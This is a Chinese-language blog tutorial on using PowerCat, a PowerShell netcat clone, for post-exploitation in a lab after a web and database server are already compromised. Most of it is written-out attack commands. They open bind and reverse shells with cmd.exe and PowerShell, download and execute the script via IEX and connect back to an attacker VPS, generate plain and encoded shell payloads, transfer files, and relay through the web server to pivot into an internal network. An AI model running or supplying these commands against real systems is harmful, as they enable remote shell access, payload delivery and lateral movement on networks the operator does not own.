PowerCat脚本使用

PowerCat
Netcat: The powershell version. (Powershell Version 2 and Later Supported)
nc的powershell版本(支持powershell v2及以上)

github地址:https://github.com/besimorhino/powercat

导入PowerCat

进入powershell,且有git环境
git clone https://github.com/besimorhino/powercat.git
在这里插入图片描述
cd powercat
import-module .\powercat.ps1
若异常是权限所致,直接修改权限 set-executionpolicy remotesigned

具体策略有:
Unrestricted:允许所有的脚本执行
Restricted:脚本不能运行
RemoteSigned:本地创建的脚本可以执行,但是网上下载的不允许
AllSigned:脚本有受信任的发布者签名时才能执行
Bypass:绕过安全策略执行脚本

查看是否已经导入
powercat -h
在这里插入图片描述

主要命令:
-l      监听一个连接                       
-c      连接到一个监听
-p      指定端口
-e      指定一个程序执行
-ep     执行Powershell       
-v      显示详细信息     
-r      Relay. Format: "-r tcp:10.1.1.1:443"                 [String]
-u      Transfer data over UDP.                              [Switch]
-dns    Transfer data over dns (dnscat2).                    [String]
-dnsft  DNS Failure Threshold.                               [int32]
-t      Timeout option. Default: 60                          [int32]
-i      Input: Filepath (string), byte array, or string.     [object]
-o      Console Output Type: "Host", "Bytes", or "String"    [String]
-of     Output File Path.                                    [String]
-d      Disconnect after connecting.                         [Switch]
-rep    Repeater. Restart after disconnecting.               [Switch]
-g      Generate Payload.                                    [Switch]
-ge     Generate Encoded Payload.                            [Switch]
-h      打印出帮助
实验环境

Kali:192.168.101.129
WebServer:192.168.101.133 10.10.10.136
SqlServer:10.10.10.250
(这里的WebServer和SqlServer只是别名假设,主要是网段得分清楚)
在这里插入图片描述
已拿下web和数据库服务器,kali可访问web数据库,不能访问数据库服务器,web服务器可访问数据库服务器

1. 通过nc正向连接powercat

WebServer:
powercat -l -p [本地监听端口] -e cmd.exe -v
在这里插入图片描述
Kali:
netcat [webserverIP] [webserver监听端口] -vv
在这里插入图片描述

2. 通过nc反向连接powercat

Kali:
netcat -l -p [监听端口] -vv
在这里插入图片描述
WebServer:
powercat -c [vpsIP] -p [vps监听端口] -v -e cmd.exe
在这里插入图片描述
也可以远程下载并执行
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c [vpsIP] -p [vps监听端口] -e cmd
在这里插入图片描述

3. 通过powercat反弹powershell

现在让数据库server反向连接webserver
WebServer:
powercat -l -p [webserver监听端口] -v
在这里插入图片描述
SqlServer:
powercat -c [webIP] -p [webserver监听端口] -v -ep(用于返回powershell)
在这里插入图片描述

4. 通过powercat传输文件

webserver新建calc.bat文件,放置c盘根目录下
SqlServer接收
powercat -l -p [监听端口] -of 1.bat -v
在这里插入图片描述
WebServer:发送
powercat -c [webserverIP] -p [数据库监听端口] -i c:\calc.bat -v
在这里插入图片描述

5. 用powercat生成payload

用powercat生成payload也有正反向之分,且可进行编码。尝试生成简单payload反弹shell
WebServer:
powercat -l -p [本地监听端口] -e cmd -v -g >> shell.ps1
在这里插入图片描述
将生成的ps1文件上传到数据库server中执行 .\shell.ps1
powercat -c [数据库server] -p [本地监听端口] -v
如果想反弹powershell
powercat -l -p [本地监听端口] -ep -v -g >> shell.ps1
也可以直接生成经过编码的payload
powercat -l -p [本地监听端口] -e cmd -v -ge >> shell.ps1
在这里插入图片描述
可以直接使用powershell -e [编码]执行命令
但是编码后的payload太长,复制到命令窗口会报错…
在这里插入图片描述

6. powercat作为跳板

环境:webserver可ping数据库server和vps,vps不能访问数据库server
SqlServer:(监听)
powercat -l -v -p [本地监听端口] -e cmd.exe
在这里插入图片描述
WebServer:(连接)
powercat -l -v -p [vps监听端口] -r tcp:[sqlserverip:sqlserver监听端口]
在这里插入图片描述
vps:(监听)
nc [webserverIP] [本地监听端口] -vv
在这里插入图片描述
 
更多用法可阅读gayhub地址的文档
GOT IT!

 
******************************************************
具体利用方式需根据具体实践场景~

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值